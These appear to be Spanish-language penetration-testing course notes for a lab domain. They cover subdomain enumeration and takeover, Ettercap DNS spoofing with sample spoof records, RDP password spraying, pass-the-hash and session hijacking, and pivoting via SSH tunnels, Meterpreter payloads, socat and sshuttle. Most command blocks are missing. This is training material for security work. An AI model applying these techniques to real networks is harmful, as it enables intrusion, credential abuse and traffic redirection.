[dnsdumpster] ns2.inlanefreight.com
...snip...
[bufferover] Source took 2.193235338s for enumeration
ns2.inlanefreight.com
www.inlanefreight.com
ns1.inlanefreight.com
support.inlanefreight.com
[INF] Found 4 subdomains for inlanefreight.com in 20 seconds 11 milliseconds
Una excelente alternativa es una herramienta llamada Subbrute. Esta herramienta nos permite usar resolvers definidos por nosotros mismos y realizar ataques de fuerza bruta DNS puros, ideal para pruebas internas en máquinas sin acceso a Internet.
gzzcoo@htb[/htb]$ git clone https://github.com/TheRook/subbrute.git >> /dev/null 2>&1
gzzcoo@htb[/htb]$ cd subbrute
gzzcoo@htb[/htb]$ echo "ns1.inlanefreight.com" > ./resolvers.txt
gzzcoo@htb[/htb]$ ./subbrute inlanefreight.com -s ./names.txt -r ./resolvers.txt
Warning: Fewer than 16 resolvers per process, consider adding more nameservers to resolvers.txt.
inlanefreight.com
ns2.inlanefreight.com
www.inlanefreight.com
ms1.inlanefreight.com
support.inlanefreight.com
<SNIP>
A veces, las configuraciones físicas internas están mal protegidas, lo que podemos aprovechar para subir nuestras herramientas desde un USB. Otro escenario sería que hayamos llegado a un host interno haciendo pivoting y queramos trabajar desde ahí. Por supuesto, hay otras alternativas, pero no está de más conocer diferentes formas y posibilidades.
La herramienta ha encontrado cuatro subdominios asociados con inlanefreight.com. Usando el comando nslookup
o host
, podemos enumerar los registros CNAME de esos subdominios.
gzzcoo@htb[/htb]$ host support.inlanefreight.com
support.inlanefreight.com is an alias for inlanefreight.s3.amazonaws.com
El subdominio support
tiene un registro alias apuntando a un bucket de AWS S3. Sin embargo, al acceder a la URL https://support.inlanefreight.com
, se muestra un error NoSuchBucket, lo que indica que este subdominio podría ser vulnerable a un Subdomain Takeover.
Ahora, podríamos tomar el control del subdominio creando un bucket S3 en AWS con el mismo nombre del subdominio: support.inlanefreight.com
.
El repositorio can-i-take-over-xyz también es una excelente referencia para identificar vulnerabilidades de subdomain takeover. Este recurso indica si los servicios utilizados por el subdominio objetivo son susceptibles de ser tomados, y proporciona guías para evaluar si realmente existe la vulnerabilidad.
Es muy útil para saber, por ejemplo, si un servicio como GitHub Pages, Heroku, AWS S3, entre otros, permite el takeover cuando un recurso ha sido eliminado, pero el subdominio sigue apuntando hacia él.
El DNS spoofing, también conocido como envenenamiento de caché DNS (DNS Cache Poisoning), es un ataque que consiste en alterar registros DNS legítimos con información falsa para redirigir el tráfico hacia sitios fraudulentos. Algunos ejemplos de cómo se puede llevar a cabo este ataque son:
Ataque Man-in-the-Middle (MITM): El atacante intercepta la comunicación entre un usuario y un servidor DNS para redirigir al usuario a un destino fraudulento en lugar del legítimo.
Explotación de vulnerabilidades en el servidor DNS: Si un atacante logra comprometer un servidor DNS, podría modificar sus registros y redirigir el tráfico de múltiples usuarios hacia sitios maliciosos.
Local DNS Cache Poisoning
Desde una red local, un atacante también puede llevar a cabo un DNS Cache Poisoning utilizando herramientas de MITM como Ettercap o Bettercap.
Para explotar esta técnica con Ettercap, primero debemos editar el archivo /etc/ettercap/etter.dns
para mapear el nombre de dominio que se quiere suplantar (por ejemplo, inlanefreight.com
) hacia la dirección IP del atacante (por ejemplo, 192.168.225.110
):
gzzcoo@htb[/htb]$ cat /etc/ettercap/etter.dns
inlanefreight.com A 192.168.225.110
*.inlanefreight.com A 192.168.225.110
A continuación, iniciamos la herramienta Ettercap y escaneamos los hosts activos en la red navegando a Hosts > Scan for Hosts. Una vez completado el escaneo, añadimos la dirección IP de la máquina víctima (por ejemplo, 192.168.152.129
) como Target1, y la IP de la puerta de enlace (por ejemplo, 192.168.152.2
) como Target2.
Luego activamos el ataque dns_spoof
desde Plugins > Manage Plugins. Esto provocará que la máquina víctima reciba respuestas DNS falsas, haciendo que el dominio inlanefreight.com
se resuelva a la dirección IP 192.168.225.110
:
Después de un spoofing exitoso, si un usuario víctima desde la IP 192.168.152.129
visita inlanefreight.com
en su navegador, será redirigido a una página falsa alojada en 192.168.225.110
.
Además, un simple ping desde la máquina víctima mostrará que inlanefreight.com
ahora se resuelve a la IP maliciosa:
C:\>ping inlanefreight.com
Pinging inlanefreight.com [192.168.225.110] with 32 bytes of data:
Reply from 192.168.225.110: bytes=32 time<1ms TTL=64
Reply from 192.168.225.110: bytes=32 time<1ms TTL=64
Reply from 192.168.225.110: bytes=32 time<1ms TTL=64
Reply from 192.168.225.110: bytes=32 time<1ms TTL=64
Ping statistics for 192.168.225.110:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
Remote Desktop Protocol (RDP) es un protocolo propietario desarrollado por Microsoft que permite a un usuario tener una interfaz gráfica para conectarse a otro equipo a través de una red. También es una de las herramientas de administración más populares, ya que permite a los administradores de sistemas controlar sus sistemas remotos como si estuvieran físicamente allí. Además, los proveedores de servicios administrados (MSPs) suelen usar esta herramienta para gestionar cientos de redes y sistemas de clientes.
Sin embargo, aunque RDP facilita enormemente la administración remota de sistemas distribuidos, también introduce una puerta de entrada adicional para ataques.
Por defecto, RDP utiliza el puerto TCP/3389. Podemos identificar si el servicio RDP está activo en un host objetivo usando Nmap:
Dado que RDP utiliza credenciales de usuario para la autenticación, uno de los vectores de ataque más comunes contra este protocolo es el password guessing (adivinanza de contraseñas). Aunque no es habitual, podríamos encontrarnos con un servicio RDP sin contraseña si existe una mala configuración.
Un detalle importante al hacer ataques de fuerza bruta contra sistemas Windows es tener en cuenta la política de contraseñas del sistema. En muchos casos, una cuenta de usuario puede bloquearse o deshabilitarse después de varios intentos fallidos. Para evitarlo, podemos aplicar una técnica específica llamada Password Spraying.
Esta técnica consiste en probar una única contraseña contra muchos usuarios antes de intentar con otra contraseña, teniendo cuidado de no disparar bloqueos por intentos fallidos.
Podemos usar la herramienta para realizar un ataque de password spraying contra el servicio RDP. En el siguiente ejemplo, se prueba la contraseña password123
contra una lista de usuarios (usernames.txt
). El ataque logra encontrar las credenciales válidas:
Crowbar - RDP Password Spraying
También podemos usar Hydra para realizar un ataque de Password Spraying contra un servicio RDP.
El funcionamiento es similar al de otras herramientas de fuerza bruta: definimos una lista de usuarios, una contraseña específica (ya que en password spraying solo se prueba una por intento), el host objetivo y el módulo rdp
.
No es muy recomendable por el problema que mencionábamos anteriormente, pero se podría realizar fuerza bruta entre un listado de usuarios y contraseñas.
Puede haber ocasiones en las que obtengas un NT hash de administrador local a partir de un volcado de SAM u otros métodos, pero no puedas descifrarlo para obtener la contraseña en texto claro. En algunos casos, puedes realizar un ataque Pass-the-Hash (PtH) en RDP para obtener acceso GUI al sistema utilizando una herramienta como xfreerdp.
El principal obstáculo para este ataque es el Modo de Administración Restringida (Restricted Admin Mode). Este modo está deshabilitado por defecto y evitará que inicies sesión con un NT hash.
Sin embargo, con acceso de administrador local, puedes habilitar esta función agregando una nueva clave en el registro:
Una vez que se agrega la clave en el registro, puedes usar una herramienta como xfreerdp para obtener acceso por RDP sin necesidad de conocer la contraseña en texto claro de la cuenta:
PoC (Proof of Concept)
Imaginemos que hemos conseguido acceso a una máquina y tenemos una cuenta con privilegios de administrador local. Si un usuario está conectado por RDP a nuestra máquina comprometida, podemos secuestrar la sesión de escritorio remoto de ese usuario para escalar privilegios e imitar su cuenta.
En un entorno de Active Directory, esto podría permitirnos tomar el control de una cuenta Domain Admin o ampliar aún más nuestro acceso dentro del dominio.
Como se muestra en el ejemplo, estamos conectados como el usuario juurena
(UserID = 2), que tiene privilegios de administrador. Nuestro objetivo es secuestrar la sesión del usuario lewen
(UserID = 4), quien también está conectado vía RDP.
Para suplantar a un usuario sin conocer su contraseña, necesitamos tener privilegios SYSTEM y utilizar el binario de Microsoft tscon.exe
, que permite conectarse a otra sesión de escritorio.
Funciona indicando el SESSION ID al que queremos conectarnos (por ejemplo, el 4 para el usuario lewen
) y el nombre de nuestra sesión actual (por ejemplo, rdp-tcp#13
).
El siguiente comando abrirá una nueva consola con el contexto del SESSION_ID especificado dentro de nuestra sesión RDP actual:
Si ya tenemos privilegios de administrador local, podemos conseguir privilegios SYSTEM usando herramientas como PsExec o Mimikatz.
Un truco sencillo es crear un servicio de Windows, que por defecto se ejecuta como Local System y puede lanzar cualquier binario con esos privilegios.
Para ello, utilizamos el binario sc.exe
de Microsoft. Primero definimos un nombre para el servicio (por ejemplo, sessionhijack
) y el binpath
, que es el comando que queremos ejecutar. Al ejecutar el siguiente comando, se creará un servicio llamado sessionhijack
:
Para ejecutar el comando, simplemente iniciamos el servicio sessionhijack
:
Una vez que el servicio se inicie, se abrirá una nueva terminal con la sesión del usuario lewen
.
Con esta nueva cuenta, podemos intentar descubrir qué tipo de privilegios tiene en la red, y con algo de suerte, podríamos estar ante un usuario que pertenece al grupo Help Desk (con derechos de administrador sobre varios equipos) o incluso a Domain Admin.
Nota: Este método ya no funciona en Windows Server 2019.
RDP (Remote Desktop Protocol) se utiliza habitualmente en redes Windows para el acceso remoto. Podemos transferir archivos mediante RDP copiando y pegando. Podemos hacer clic derecho y copiar un archivo desde la máquina Windows a la que nos conectamos y pegarlo en la sesión RDP.
Si estamos conectados desde Linux, podemos utilizar xfreerdp
o rdesktop
. En el momento de redactar este artículo, xfreerdp
y rdesktop
permiten copiar desde nuestra máquina de destino a la sesión RDP, pero puede haber situaciones en las que esto no funcione como se espera.
Como alternativa a copiar y pegar, podemos montar un recurso local en el servidor RDP de destino. rdesktop
o xfreerdp
se pueden utilizar para exponer una carpeta local en la sesión RDP remota.
Para acceder al directorio, podemos conectarnos a \\tsclient
, lo que nos permitirá transferir archivos hacia y desde la sesión RDP.
Alternativamente, desde Windows, se puede utilizar el cliente de escritorio remoto nativo mstsc.exe
.
Después de seleccionar la unidad, podremos interactuar con ella en la sesión remota que sigue.
Nota: Esta unidad no es accesible para ningún otro usuario que haya iniciado sesión en la computadora de destino, incluso si logra secuestrar la sesión RDP.
Qué es: Técnica para moverse entre redes a través de un host comprometido.
Objetivo: Acceder a segmentos de red aislados usando una máquina intermedia.
Ejemplo: Un host tiene dos interfaces de red (dual-homed), una hacia la red empresarial y otra hacia una red operacional. Usamos ese host para pivotear entre ambas.
Alias comunes: Jump Host, Foothold, Proxy, Beachhead, etc.
Qué es: Subconjunto del pivoting que consiste en encapsular tráfico en otros protocolos (como HTTP o HTTPS) para evadir detecciones.
Ejemplo: Instrucciones C2 ocultas en peticiones HTTP GET/POST disfrazadas como tráfico legítimo.
Aplicaciones comunes: VPN, proxys SOCKS, HTTPS sobre SSH, etc.
Qué es: Técnica para moverse horizontalmente dentro de la misma red.
Objetivo: Acceder a más máquinas usando credenciales válidas, comúnmente con fines de escalamiento de privilegios.
Ejemplo: Usar credenciales de administrador local para conectarse a otras máquinas dentro de la misma red.
Port Forwarding
El reenvío de puertos (Port Forwarding) es una técnica que nos permite redirigir una solicitud de comunicación de un puerto a otro. El reenvío de puertos utiliza TCP como capa de comunicación principal para proporcionar comunicación interactiva para el puerto reenviado. Sin embargo, se pueden usar diferentes protocolos de capa de aplicación como SSH o incluso SOCKS (no de capa de aplicación) para encapsular el tráfico reenviado. Esto puede ser efectivo para evadir firewalls y utilizar servicios existentes en el host comprometido para pivotar hacia otras redes.
Tomemos como ejemplo la imagen de abajo.
Scanning the Pivot Target
Tenemos nuestro host atacante (10.10.15.x
) y un servidor Ubuntu de destino (10.129.x.x
), que ya hemos comprometido. Escanearemos el servidor Ubuntu con Nmap para buscar puertos abiertos.
El resultado de Nmap muestra que el puerto SSH está abierto. Para acceder al servicio MySQL, podemos hacer SSH al servidor y acceder a MySQL desde dentro, o reenviar el puerto a nuestro localhost
en el puerto 1234
y acceder localmente. Una ventaja de acceder localmente es que si queremos ejecutar un exploit remoto contra MySQL, no podríamos hacerlo sin reenviar el puerto, ya que el servicio solo está expuesto localmente en el puerto 3306
del servidor Ubuntu.
Executing the Local Port Forward
Así que usaremos el siguiente comando para reenviar nuestro puerto local (1234
) vía SSH al servidor Ubuntu:
La opción -L
le indica al cliente SSH que solicite al servidor SSH reenviar todos los datos enviados por el puerto 1234
a localhost:3306
en el servidor Ubuntu. Al hacer esto, deberíamos poder acceder al servicio MySQL localmente desde el puerto 1234
.
Confirming Port Forward with Netstat
Confirming Port Forward with Nmap
Forwarding Multiple Ports
Si queremos reenviar múltiples puertos desde el servidor Ubuntu a nuestro localhost
, podemos hacerlo añadiendo más argumentos -L
al comando SSH:
A diferencia del escenario anterior donde sabíamos qué puerto debíamos acceder, en nuestro escenario actual no sabemos qué servicios están del otro lado de la red. Por eso, podemos escanear rangos pequeños de IPs dentro de la red (172.16.5.1-200) o el subnet completo (172.16.5.0/23). No podemos hacer este escaneo directamente desde nuestro equipo atacante porque no tiene rutas hacia la red 172.16.5.0/23. Para lograrlo, tendremos que realizar un dynamic port forwarding y pivotear nuestro tráfico de red a través del servidor Ubuntu comprometido.
Esto se conoce como SSH tunneling usando un SOCKS proxy. SOCKS significa Socket Secure, un protocolo que permite comunicarse con servidores cuando existen restricciones impuestas por un firewall. A diferencia de la mayoría de los casos donde iniciamos una conexión hacia un servicio, en el caso de SOCKS, el tráfico inicial es generado por un cliente SOCKS, que se conecta al servidor SOCKS (controlado por nosotras) para acceder a servicios desde el lado del cliente. Una vez establecida la conexión, el tráfico de red puede ser redirigido a través del servidor SOCKS en nombre del cliente conectado.
Esta técnica se usa frecuentemente para evadir restricciones impuestas por firewalls, permitiendo que una entidad externa acceda a un servicio que se encuentra dentro de un entorno protegido. Otro beneficio de usar un SOCKS proxy para pivotear y reenviar datos es que permite pivotear incluso desde redes NAT creando rutas hacia servidores externos. Existen dos tipos de proxies SOCKS: SOCKS4 y SOCKS5. SOCKS4 no ofrece autenticación ni soporte para UDP, mientras que SOCKS5 sí los incluye.
Tomemos como ejemplo la imagen de abajo donde tenemos una red enmascarada con NAT (172.16.5.0/23) a la que no podemos acceder directamente.
En la imagen anterior, el attack host inicia el cliente SSH y solicita al servidor SSH que le permita enviar datos TCP a través del ssh socket. El servidor SSH responde con una confirmación, y el cliente SSH comienza a escuchar en localhost:9050
. Cualquier dato que se envíe allí será retransmitido a toda la red (172.16.5.0/23) mediante SSH. Podemos usar el siguiente comando para realizar este dynamic port forwarding:
El argumento -D
solicita al servidor SSH que habilite el dynamic port forwarding. Una vez habilitado, necesitaremos una herramienta que pueda enrutar los paquetes de cualquier herramienta a través del puerto 9050. Podemos hacer esto usando proxychains, que es capaz de redirigir conexiones TCP a través de servidores proxy TOR, SOCKS, y HTTP/HTTPS, y además permite encadenar múltiples proxies.
Usando proxychains, también podemos ocultar la dirección IP del requesting host, ya que el receiving host sólo verá la IP del pivot host. Proxychains se utiliza a menudo para forzar que el tráfico TCP de una aplicación pase a través de proxies como SOCKS4/SOCKS5, TOR, o HTTP/HTTPS.
Checking /etc/proxychains.conf
Para indicarle a proxychains que debe usar el puerto 9050, debemos modificar el archivo de configuración ubicado en /etc/proxychains.conf
. Podemos agregar socks4 127.0.0.1 9050
en la última línea si aún no está presente.
Using Nmap with Proxychains
Ahora, cuando ejecutemos Nmap con proxychains usando el siguiente comando, todos los paquetes de Nmap se enviarán al puerto local 9050, donde nuestro cliente SSH está escuchando. Este a su vez reenviará todo el tráfico por SSH hacia la red 172.16.5.0/23.
Esta parte de empaquetar todos los datos de Nmap usando proxychains y reenviarlos a un servidor remoto se llama SOCKS tunneling. Otro punto importante a tener en cuenta es que solo podemos realizar un escaneo completo de conexión TCP (full TCP connect scan) a través de proxychains. Esto se debe a que proxychains no puede interpretar paquetes parciales. Si enviamos paquetes parciales, como en un escaneo de tipo half-connect, devolverá resultados incorrectos.
También debemos ser conscientes de que las comprobaciones de host activo (host-alive checks) pueden no funcionar contra objetivos Windows, ya que el firewall de Windows Defender bloquea las solicitudes ICMP (pings tradicionales) por defecto.
Un escaneo completo de conexión TCP sin ping sobre un rango de red completo tomará mucho tiempo. Por eso, en este módulo, nos enfocaremos principalmente en escanear hosts individuales o rangos pequeños de hosts que sabemos que están activos, como en este caso: una máquina Windows en 172.16.5.19
.
Enumerating the Windows Target through Proxychains
Realizaremos un escaneo remoto del sistema con el siguiente comando:
Ya hemos visto el reenvío de puertos local, donde SSH puede escuchar en nuestro equipo local y reenviar un servicio del host remoto a nuestro puerto, y el reenvío de puertos dinámico, donde podemos enviar paquetes a una red remota a través de un pivot host. Pero, a veces, también podríamos querer reenviar un servicio local hacia un puerto remoto.
Imaginemos el escenario en el que podemos hacer RDP hacia el host Windows Windows A. Como se puede ver en la imagen de abajo, en nuestro caso anterior pudimos pivotar hacia el host Windows a través del servidor Ubuntu.
Pero ¿qué pasa si intentamos obtener una reverse shell?
La conexión saliente del host Windows está limitada solo a la red 172.16.5.0/23
. Esto se debe a que el host Windows no tiene ninguna conexión directa con la red en la que se encuentra el attack host. Si iniciamos un listener de Metasploit en nuestro attack host e intentamos obtener una reverse shell, no lograremos una conexión directa porque el servidor Windows no sabe cómo enrutar el tráfico que sale de su red (172.16.5.0/23
) hacia la 10.129.x.x
(nuestra red de atacante).
Hay muchas ocasiones durante una auditoría de Pentest en las que tener únicamente una conexión por escritorio remoto no es suficiente. Podemos necesitar subir o bajar archivos (cuando el portapapeles del RDP está deshabilitado), usar exploits o interactuar con APIs de bajo nivel de Windows mediante una sesión de Meterpreter, lo cual no es posible usando solo.
En estos casos, debemos encontrar un pivot host, que sea un punto de conexión común entre nuestro attack host y el servidor Windows. En nuestro caso, el pivot host sería el servidor Ubuntu, ya que puede conectarse tanto a nuestro attack host como al objetivo Windows.
Para obtener una shell Meterpreter en Windows, crearemos un payload Meterpreter HTTPS usando msfvenom
, pero la configuración de la conexión reversa para el payload tendrá como IP destino la del servidor Ubuntu (172.16.5.129
). Usaremos el puerto 8080 en el servidor Ubuntu para reenviar todos los paquetes de la reverse shell hacia el puerto 8000 de nuestro attack host, donde estará escuchando Metasploit.
Creating a Windows Payload with msfvenom
Configuring & Starting the multi/handler
Transferring Payload to Pivot Host
Una vez que hayamos creado nuestro payload y tengamos el listener configurado y ejecutándose, podemos copiar el payload al servidor Ubuntu usando el comando scp
, ya que ya tenemos las credenciales para conectarnos al servidor Ubuntu por SSH.
Starting Python3 Webserver on Pivot Host
Después de copiar el payload, iniciaremos un servidor HTTP con python3
en el servidor Ubuntu, en el mismo directorio donde se encuentra el payload.
Downloading Payload on the Windows Target
Podemos descargar este backupscript.exe
en el host Windows usando un navegador web o el cmdlet de PowerShell Invoke-WebRequest
.
Using SSH -R
Una vez descargado el payload en el host Windows, usaremos reenvío de puertos remoto por SSH para reenviar conexiones desde el puerto 8080 del servidor Ubuntu hacia el servicio listener de nuestra msfconsole
en el puerto 8000. Usaremos el argumento -vN
en el comando SSH para hacerlo más detallado y evitar que se abra una shell interactiva.
El argumento -R
le indica al servidor Ubuntu que escuche en <targetIPaddress>:8080
y reenvíe todas las conexiones entrantes a nuestro listener en 0.0.0.0:8000
del host atacante.
Después de crear el reenvío remoto SSH, podemos ejecutar el payload desde el objetivo Windows. Si el payload se ejecuta correctamente y trata de conectarse de vuelta a nuestro listener, podremos ver los logs de conexión desde el host pivot.
Viewing the Logs from the Pivot
Meterpreter Session Established
Nuestra sesión de Meterpreter debería mostrar que la conexión entrante proviene del propio host local (127.0.0.1
), ya que estamos recibiendo la conexión a través del socket local SSH, el cual creó una conexión saliente hacia el servidor Ubuntu. Ejecutar el comando netstat
puede mostrarnos que la conexión entrante proviene del servicio SSH.
La siguiente representación gráfica ofrece una manera alternativa de entender esta técnica.
Ahora consideremos un escenario en el que ya tenemos acceso a una shell de Meterpreter en el servidor Ubuntu (nuestro host de pivoteo) y queremos realizar escaneos de enumeración a través de él, aprovechando las funcionalidades que ofrece Meterpreter. En estos casos, podemos crear un pivote usando la sesión de Meterpreter sin depender del reenvío de puertos por SSH.
Podemos generar una shell de Meterpreter para el servidor Ubuntu con el siguiente comando, que nos devolverá una shell en nuestro host atacante a través del puerto 8080:
Creating Payload for Ubuntu Pivot Host
Configuring & Starting the multi/handler
Antes de copiar el payload, podemos iniciar el multi/handler en Metasploit, también conocido como Generic Payload Handler.
Executing the Payload on the Pivot Host
Copiamos el binario backupjob
al servidor Ubuntu (host pivote) vía SSH y lo ejecutamos:
Meterpreter Session Establishment
Debemos asegurarnos de que la sesión de Meterpreter se establezca correctamente tras ejecutar el payload.
Ping Sweep
Sabemos que el objetivo (Windows) se encuentra en la red 172.16.5.0/23
. Suponiendo que el firewall del host Windows permita tráfico ICMP, lo siguiente que queremos hacer es un ping sweep desde nuestra sesión de Meterpreter. Para ello, podemos usar el módulo ping_sweep
, el cual generará tráfico ICMP desde el host Ubuntu hacia esa red.
También podemos realizar un ping sweep (barrido de red con ping) utilizando un bucle for
directamente en el host pivot comprometido, que enviará pings a todos los dispositivos dentro del rango de red que especifiquemos. Aquí tienes dos one-liners muy útiles, dependiendo del sistema operativo del host pivot:
Ping Sweep For Loop on Linux Pivot Hosts
Ping Sweep For Loop Using CMD
Ping Sweep Using PowerShell
Nota: Es posible que un ping sweep no devuelva respuestas exitosas en el primer intento, especialmente cuando se comunica entre diferentes redes. Esto puede deberse al tiempo que tarda un host en construir su caché ARP. En estos casos, es recomendable repetir el barrido al menos dos veces para asegurarnos de que la caché ARP se haya construido correctamente.
Configuring MSF's SOCKS Proxy
También pueden existir escenarios en los que el firewall de un host bloquee el ping (ICMP), por lo que no obtendremos respuestas exitosas. En estos casos, podemos realizar un escaneo TCP sobre la red 172.16.5.0/23
utilizando Nmap.
En lugar de usar SSH para el port forwarding, también podemos utilizar el módulo de post-explotación socks_proxy
de Metasploit, el cual nos permite configurar un proxy local tipo SOCKS en nuestra máquina atacante.
Se configurará el proxy SOCKS en su versión 4a, el cual iniciará un listener en el puerto 9050 y redirigirá todo el tráfico recibido a través de nuestra sesión de Meterpreter.
Confirming Proxy Server is Running
Adding a Line to proxychains.conf if Needed
Después de iniciar el servidor SOCKS, configuraremos proxychains para redirigir el tráfico generado por otras herramientas como Nmap a través de nuestro pivote en el host Ubuntu comprometido.
Podemos añadir la siguiente línea al final del archivo proxychains.conf
ubicado en /etc/proxychains.conf
si no está presente.
Nota: Dependiendo de la versión del servidor SOCKS que estemos usando, en ocasiones necesitaremos cambiar socks4
por socks5
en el archivo de configuración.
Creating Routes with AutoRoute
Finalmente, debemos indicar al módulo socks_proxy
que redirija todo el tráfico a través de nuestra sesión de Meterpreter. Para esto, podemos utilizar el módulo post/multi/manage/autoroute
de Metasploit para añadir rutas hacia la subred 172.16.5.0
y enrutar el tráfico de proxychains
correctamente.
También es posible agregar rutas con autoroute directamente desde la sesión de Meterpreter ejecutando el siguiente comando:
Listing Active Routes with AutoRoute
Una vez agregadas las rutas necesarias, podemos usar la opción -p
para listar las rutas activas y confirmar que nuestra configuración se haya aplicado correctamente.
Testing Proxy & Routing Functionality
Como podemos ver en la salida anterior, la ruta hacia la red 172.16.5.0/23
ha sido añadida correctamente. Esto nos permite ahora utilizar proxychains para enrutar nuestro tráfico de Nmap a través de la sesión de Meterpreter.
También podemos lograr el port forwarding utilizando el módulo portfwd
de Meterpreter. Este módulo nos permite redirigir tráfico desde nuestro host atacante hacia una máquina remota a través de una sesión activa de Meterpreter.
Portfwd options
Creating Local TCP Relay
El comando anterior le indica a la sesión de Meterpreter que inicie un listener en el puerto local 3300 de nuestro host atacante (-l 3300
) y reenvíe todos los paquetes a la máquina remota 172.16.5.19 en el puerto 3389 (-r 172.16.5.19 -p 3389
), utilizando la sesión activa de Meterpreter como canal de comunicación.
Connecting to Windows Target through localhost
Una vez establecido el port forwarding, podemos ejecutar el siguiente comando para iniciar una sesión RDP desde nuestra máquina.
Netstat Output
Podemos usar netstat
para ver información sobre la sesión que acabamos de establecer. Desde una perspectiva defensiva, netstat
también es útil si sospechamos que un host ha sido comprometido, ya que nos permite ver todas las sesiones activas que ese host ha establecido.
Al igual que con los local port forwards, Metasploit también puede realizar reverse port forwarding con el siguiente comando. Esto es útil cuando queremos escuchar en un puerto específico del servidor comprometido y redirigir todas las conexiones entrantes desde el servidor Ubuntu hacia nuestro attack host.
En este caso, vamos a iniciar un listener en un nuevo puerto de nuestra máquina para recibir una Windows shell, y solicitaremos al servidor Ubuntu que redirija todas las solicitudes que reciba en el puerto 1234
hacia nuestro listener en el puerto 8081
.
Reverse Port Forwarding Rules
Podemos crear este reverse port forward en la shell que ya teníamos abierta desde el escenario anterior con el siguiente comando:
Configuring & Starting multi/handler
Generating the Windows Payload
Ahora podemos crear un reverse shell payload que, al ejecutarse en el host Windows, envíe una conexión de vuelta a nuestro servidor Ubuntu (172.16.5.129:1234). Una vez que el servidor Ubuntu reciba esta conexión, la redirigirá al attack host en el puerto 8081
, como lo configuramos anteriormente con reverse port forwarding.
Establishing the Meterpreter session
Una vez que ejecutamos el payload en el host Windows, deberíamos recibir una Meterpreter shell a través del Ubuntu pivot host, redirigida hacia nuestro listener en el attack host:
es una herramienta de relay bidireccional que permite crear sockets tipo pipe entre dos canales de red independientes, sin necesidad de usar SSH tunneling. Actúa como un redirector, escuchando en un host:puerto y redirigiendo ese tráfico hacia otra dirección IP y puerto.
Podemos iniciar el listener de Metasploit en nuestra máquina atacante usando el mismo comando mencionado en la sección anterior, y luego lanzar socat desde el servidor Ubuntu para establecer el canal de redirection.
Starting Socat Listener
Socat escuchará en localhost
en el puerto 8080 y redirigirá todo el tráfico hacia el puerto 80 de nuestra máquina atacante (10.10.14.18
). Una vez que tengamos configurado nuestro redirector, podemos crear un payload que se conecte de vuelta a ese redirector, el cual está corriendo en el servidor Ubuntu.
También iniciaremos un listener en nuestra máquina atacante, porque en cuanto socat reciba una conexión desde el objetivo, redirigirá todo ese tráfico hacia el listener de nuestra máquina atacante, donde recibiremos la shell.
Creating the Windows Payload
Ten en cuenta que debemos transferir este payload al host Windows. Podemos usar algunas de las mismas técnicas vistas en .
Starting MSF Console
Configuring & Starting the multi/handler
Establishing the Meterpreter Session
Podemos probar esto ejecutando nuevamente nuestro payload en el host Windows, y esta vez deberíamos ver que la conexión de red proviene desde el servidor Ubuntu.
Similar a nuestro redirector de Socat con reverse shell, también podemos crear un redirector de bind shell con Socat.
Esto es diferente de las reverse shells que se conectan de vuelta desde el servidor Windows hacia el servidor Ubuntu y que luego se redirigen hacia nuestra máquina atacante. En el caso de las bind shells, el servidor Windows iniciará un listener y se enlazará a un puerto específico.
Podemos crear un payload de bind shell para Windows y ejecutarlo en el host Windows. Al mismo tiempo, podemos crear un redirector Socat en el servidor Ubuntu, el cual escuchará conexiones entrantes desde un handler de Metasploit configurado como bind y las redirigirá al payload de bind shell en el objetivo Windows
La figura de abajo explica mucho mejor el proceso de pivoting en este escenario.
Creating the Windows Payload
Podemos crear una bind shell usando msfvenom
con el siguiente comando:
Starting Socat Bind Shell Listener
Podemos iniciar un listener con Socat que escuche en el puerto 8080 y redirija los paquetes al servidor Windows en el puerto 8443:
Configuring & Starting the Bind multi/handler
Finalmente, podemos iniciar un handler de Metasploit configurado para bind, el cual se conectará al listener de socat en el puerto 8080 (en el servidor Ubuntu).
Establishing Meterpreter Session
Podemos ver que un bind handler se ha conectado a una solicitud de stage que ha sido pivoteada a través del listener de socat tras ejecutar el payload en el objetivo Windows.
Plink, abreviatura de PuTTY Link, es una herramienta SSH por línea de comandos para Windows que viene incluida en el paquete de PuTTY cuando se instala. Al igual que ssh
, Plink también permite crear reenvíos de puertos dinámicos (Dynamic Port Forwarding) y proxies SOCKS.
Antes de finales de 2018, Windows no incluía un cliente SSH de forma nativa, por lo que los usuarios debían instalar uno por su cuenta. La herramienta preferida por muchos administradores era PuTTY, que incluía plink
.
Ese es solo un posible escenario donde Plink resulta útil. También podríamos utilizarlo si estamos usando una máquina Windows como host de ataque principal en lugar de una basada en Linux.
En la imagen de abajo, tenemos un host de ataque basado en Windows.
El host de ataque en Windows inicia un proceso de plink.exe
con los siguientes argumentos en la línea de comandos para establecer un dynamic port forward a través del servidor Ubuntu. Esto inicia una sesión SSH entre el host de ataque en Windows y el servidor Ubuntu, y luego plink comienza a escuchar en el puerto 9050.
Using Plink.exe
Otra herramienta basada en Windows llamada puede usarse para iniciar un túnel SOCKS a través de la sesión SSH que creamos. Proxifier es una herramienta para Windows que crea una red tunelizada para aplicaciones cliente de escritorio, permitiendo que funcionen a través de un proxy SOCKS o HTTPS, y también permite hacer proxy chaining. Es posible crear un perfil donde podamos proporcionar la configuración para nuestro SOCKS server iniciado por Plink en el puerto 9050.
Después de configurar el SOCKS server con la IP 127.0.0.1 y el puerto 9050, podemos iniciar directamente mstsc.exe (el cliente de escritorio remoto de Windows) para establecer una sesión RDP con un objetivo Windows que permita conexiones RDP.
Sshuttle es una herramienta escrita en Python que elimina la necesidad de configurar proxychains. Sin embargo, esta herramienta solo funciona para pivotar sobre conexiones SSH, y no ofrece opciones para hacerlo a través de TOR o servidores proxy HTTPS. Aun así, puede ser muy útil ya que automatiza la ejecución de reglas de iptables y el enrutamiento necesario para establecer pivotes a través del host remoto.
Una ventaja interesante de sshuttle es que no necesitamos usar proxychains para conectarnos a los hosts remotos. Basta con establecer la sesión SSH y sshuttle se encargará del resto.
Podemos instalar sshuttle en el host pivot Ubuntu y configurarlo para que enrute el tráfico hacia el host Windows y conectarnos vía RDP:
Installing sshuttle
Running sshuttle
Para usar sshuttle, especificamos la opción -r
para conectarnos a la máquina remota con un nombre de usuario y contraseña. Luego necesitamos incluir la red o IP que queremos enrutar a través del pivot host, que en nuestro caso es la red 172.16.5.0/23
.
Traffic Routing through iptables Routes
Con este comando, sshuttle crea una entrada en nuestras iptables para redirigir todo el tráfico destinado a la red 172.16.5.0/23
a través del pivot host.
Gracias a esto, ya podemos utilizar cualquier herramienta directamente sin necesidad de usar proxychains, como en el ejemplo con Nmap, donde escaneamos el puerto 3389 de la IP 172.16.5.19
de forma totalmente transparente.
